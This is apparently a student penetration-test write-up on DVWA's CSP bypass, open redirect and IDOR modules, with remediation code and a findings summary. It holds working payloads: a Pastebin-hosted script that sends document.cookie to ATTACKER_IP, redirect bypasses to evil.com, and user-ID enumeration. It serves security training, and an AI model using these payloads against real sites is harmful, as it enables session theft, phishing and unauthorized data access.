🔍 10 — CSP Bypass, Open Redirect & Authorization Bypass

CSP Bypass, Open Redirect & Authorization Bypass

🛡️ CSP BYPASS

OWASP: A05 | **CWE**: CWE-693 | **Severity**: 🟡 Medium

Endpoint: `http://localhost/dvwa/vulnerabilities/csp/`

Description

Content Security Policy (CSP) restricts which scripts can execute on a page. DVWA's CSP module demonstrates common CSP misconfigurations that allow attackers to bypass the policy and still execute XSS payloads.

Security Level: LOW

CSP Header Analysis

```
Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com
www.toptal.com js.lib.com polyfill.io *.cloudflare.com;
```

Vulnerability: Whitelisted External Domains

The CSP allows scripts from `pastebin.com`. Attacker uploads JS to Pastebin and references it!

```
<!-- Step 1: Upload XSS payload to pastebin.com -->
<!-- Payload content: alert(document.cookie) -->
<!-- Get raw URL: https://pastebin.com/raw/XXXXXX -->

<!-- Step 2: Inject script tag via the input field -->
http://localhost/dvwa/vulnerabilities/csp/?include=https://pastebin.com/raw/
XXXXXX
```

```
// Pastebin payload content:
alert('CSP Bypass via Whitelisted Domain!');
document.location = 'http://ATTACKER_IP/?cookie=' + document.cookie;
```

Security Level: MEDIUM

CSP Header

```
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ2
9pbmcgdG8gZ2l2ZSB5b3UgdXA=';
```

Vulnerability: Static Nonce

```
<!-- Nonce is static and visible in page source -->
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

<!-- Extract nonce from page source: -->
curl http://localhost/dvwa/vulnerabilities/csp/ | grep 'nonce'
<!-- Use same nonce in injected script -->
```

Security Level: HIGH

CSP Header

```
Content-Security-Policy: script-src 'self';
```

Analysis

Only self-hosted scripts allowed. Input is reflected in page but CSP blocks inline scripts.

```
# Check if any self-hosted endpoints reflect user input as JS
# DVWA high level has a JS inclusion endpoint that can be abused:
curl http://localhost/dvwa/vulnerabilities/csp/?include=<script>alert(1)</sc
ript>

# If JSONP endpoint exists on same domain:
http://localhost/dvwa/something.php?callback=alert(1)
# -> Response: alert(1)({...})
# CSP allows 'self' -> this executes!
```

Remediation

```
1. Use strict-dynamic with per-request nonces
2. Never whitelist CDNs/external domains in script-src
3. Use hash-based CSP instead of nonce for static scripts
4. Avoid 'unsafe-inline' and 'unsafe-eval'
5. Test CSP at: https://csp-evaluator.withgoogle.com
```

```
# Secure CSP:
Content-Security-Policy: default-src 'none'; script-src 'nonce-RANDOM_PER_RE
QUEST'; style-src 'self'; img-src 'self' data:; connect-src 'self'; frame-an
cestors 'none';
```

🔗 OPEN HTTP REDIRECT

OWASP: A01 | **CWE**: CWE-601 | **Severity**: 🟡 Medium

Endpoint: `http://localhost/dvwa/vulnerabilities/redirect/`

Security Level: LOW

```
# Normal redirect
http://localhost/dvwa/vulnerabilities/redirect/?redirect=info.php

# Malicious redirect to external site
http://localhost/dvwa/vulnerabilities/redirect/?redirect=http://evil.com

# Phishing attack URL:
# http://legitimate-bank.com.attacker.com (subdomain trick)
http://localhost/dvwa/vulnerabilities/redirect/?redirect=http://attacker.co
m/phishing
```

Security Level: MEDIUM

```
# Filter blocks http:// -> try alternatives:
http://localhost/dvwa/vulnerabilities/redirect/?redirect=//evil.com
http://localhost/dvwa/vulnerabilities/redirect/?redirect=https://evil.com
# Protocol-relative URL: //evil.com
# Browser resolves to https://evil.com
```

Security Level: HIGH

```
# More strict validation
# Bypass with @ trick:
http://localhost/dvwa/vulnerabilities/redirect/?redirect=http://localhost@ev
il.com
# Browser sees: username=localhost, host=evil.com

# Or wrap in encoded form:
http://localhost/dvwa/vulnerabilities/redirect/?redirect=%2F%2Fevil.com
```

Remediation

```
// Strict whitelist
$allowed = ['info.php', 'about.php', 'home.php'];
if (!in_array($_GET['redirect'], $allowed)) {
    die('Redirect not permitted');
}
header('Location: ' . $_GET['redirect']);
```

🔐 AUTHORIZATION BYPASS (IDOR)

OWASP: A01 | **CWE**: CWE-284 | **Severity**: 🟠 High

Endpoint: `http://localhost/dvwa/vulnerabilities/authbypass/`

Description

The application exposes user data via an API endpoint that doesn't properly verify if the requesting user is authorized to access the requested data.

Security Level: LOW

```
# Normal user accesses own data
GET /dvwa/vulnerabilities/authbypass/get_user_data.php?user_id=1

# Accessing another user's data by changing ID
GET /dvwa/vulnerabilities/authbypass/get_user_data.php?user_id=2
GET /dvwa/vulnerabilities/authbypass/get_user_data.php?user_id=3

# Enumerate all users
for i in range(1, 10):
    curl http://localhost/dvwa/vulnerabilities/authbypass/get_user_data.php?
user_id={i}

# Access admin user data
GET /dvwa/vulnerabilities/authbypass/get_user_data.php?user_id=1
```

Burp Suite Enumeration

```
1. Login as normal user
2. Intercept request to get_user_data.php
3. Send to Intruder
4. Set user_id as payload: 1 to 20
5. Run attack
6. All responses return 200 with user data
7. No authorization check!
```

Security Level: High/Impossible

```
// Proper fix: Always check session user matches requested user
if ($_SESSION['user_id'] !== $_GET['user_id'] && $_SESSION['role'] !== 'admi
n') {
    http_response_code(403);
    exit(json_encode(['error' => 'Unauthorized']));
}
```

📄 DVWA Complete Findings Summary

#	Module	Low	Medium	High	Impossible
1	Brute Force	🔴 Exploitable	🔴 Exploitable (slow)	⚠️ Bypass w/ token	✅ Secure
2	Command Injection	🔴 Full RCE	⚠️ Pipe bypass	⚠️ Pipe no-space	✅ Secure
3	CSRF	🔴 Exploitable	⚠️ Referer bypass	⚠️ XSS+CSRF chain	✅ Secure
4	File Inclusion	🔴 LFI+RFI	⚠️ Traversal bypass	⚠️ https://www.notion.so bypass	✅ Secure
5	File Upload	🔴 Direct shell	⚠️ MIME bypass	⚠️ Polyglot	✅ Secure
6	Insecure CAPTCHA	🔴 Skip step	⚠️ passed_captcha param	⚠️ UA header bypass	✅ Secure
7	SQL Injection	🔴 Full dump	⚠️ Numeric bypass	⚠️ LIMIT bypass	✅ Secure
8	SQL Injection Blind	🔴 Full dump	⚠️ Numeric blind	⚠️ Boolean still works	✅ Secure
9	XSS Reflected	🔴 Cookie steal	⚠️ Case bypass	⚠️ Event handlers	✅ Secure
10	XSS Stored	🔴 Persistent	⚠️ Tag bypass	⚠️ Event handlers	✅ Secure
11	XSS DOM	🔴 URL inject	⚠️ Hash bypass	⚠️ Hash bypass	✅ Secure
12	Weak Session IDs	🔴 Sequential	⚠️ MD5 sequential	⚠️ MD5 timestamp	✅ Secure
13	JavaScript	🔴 Token predict	⚠️ Console analyze	⚠️ DevTools debug	✅ N/A
14	CSP Bypass	🔴 Pastebin host	⚠️ Static nonce	⚠️ JSONP abuse	✅ Secure
15	Open Redirect	🔴 Full redirect	⚠️ Protocol bypass	⚠️ @ bypass	✅ Secure
16	Auth Bypass	🔴 IDOR full	⚠️ Partial controls	✅ Secure	✅ Secure

📄 Executive Summary

A comprehensive penetration test of **DVWA** across all 16 vulnerability modules and four security levels was conducted. All **Low** level configurations were exploitable to their maximum impact. **Medium** level configurations contained bypassable defenses in all cases. **High** level showed significantly stronger controls but contained subtle bypasses in most modules. **Impossible** level demonstrated industry best practices and resisted all tested attack vectors.

Total findings: 48 vulnerability instances (16 modules × 3 exploitable levels)

> 📝 **Authored by Vedant Sareen | Jan – July 2024 | Chitkara University**

> **GitHub**: https://github.com/VedantSareen/REPORTS_DVWA-BWAPP_POC

> **LinkedIn**: https://linkedin.com/in/sareen-cybersecurity-477180ved

> **Portfolio**: https://codolio.com/profile/VedantSareen

📚 Master References

- OWASP Top 10 2021: https://owasp.org/Top10/
- OWASP Testing Guide v4.2: https://owasp.org/www-project-web-security-testing-guide/
- CWE Top 25: https://cwe.mitre.org/top25/
- PortSwigger Web Security Academy: https://portswigger.net/web-security
- DVWA GitHub: https://github.com/digininja/DVWA
- PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings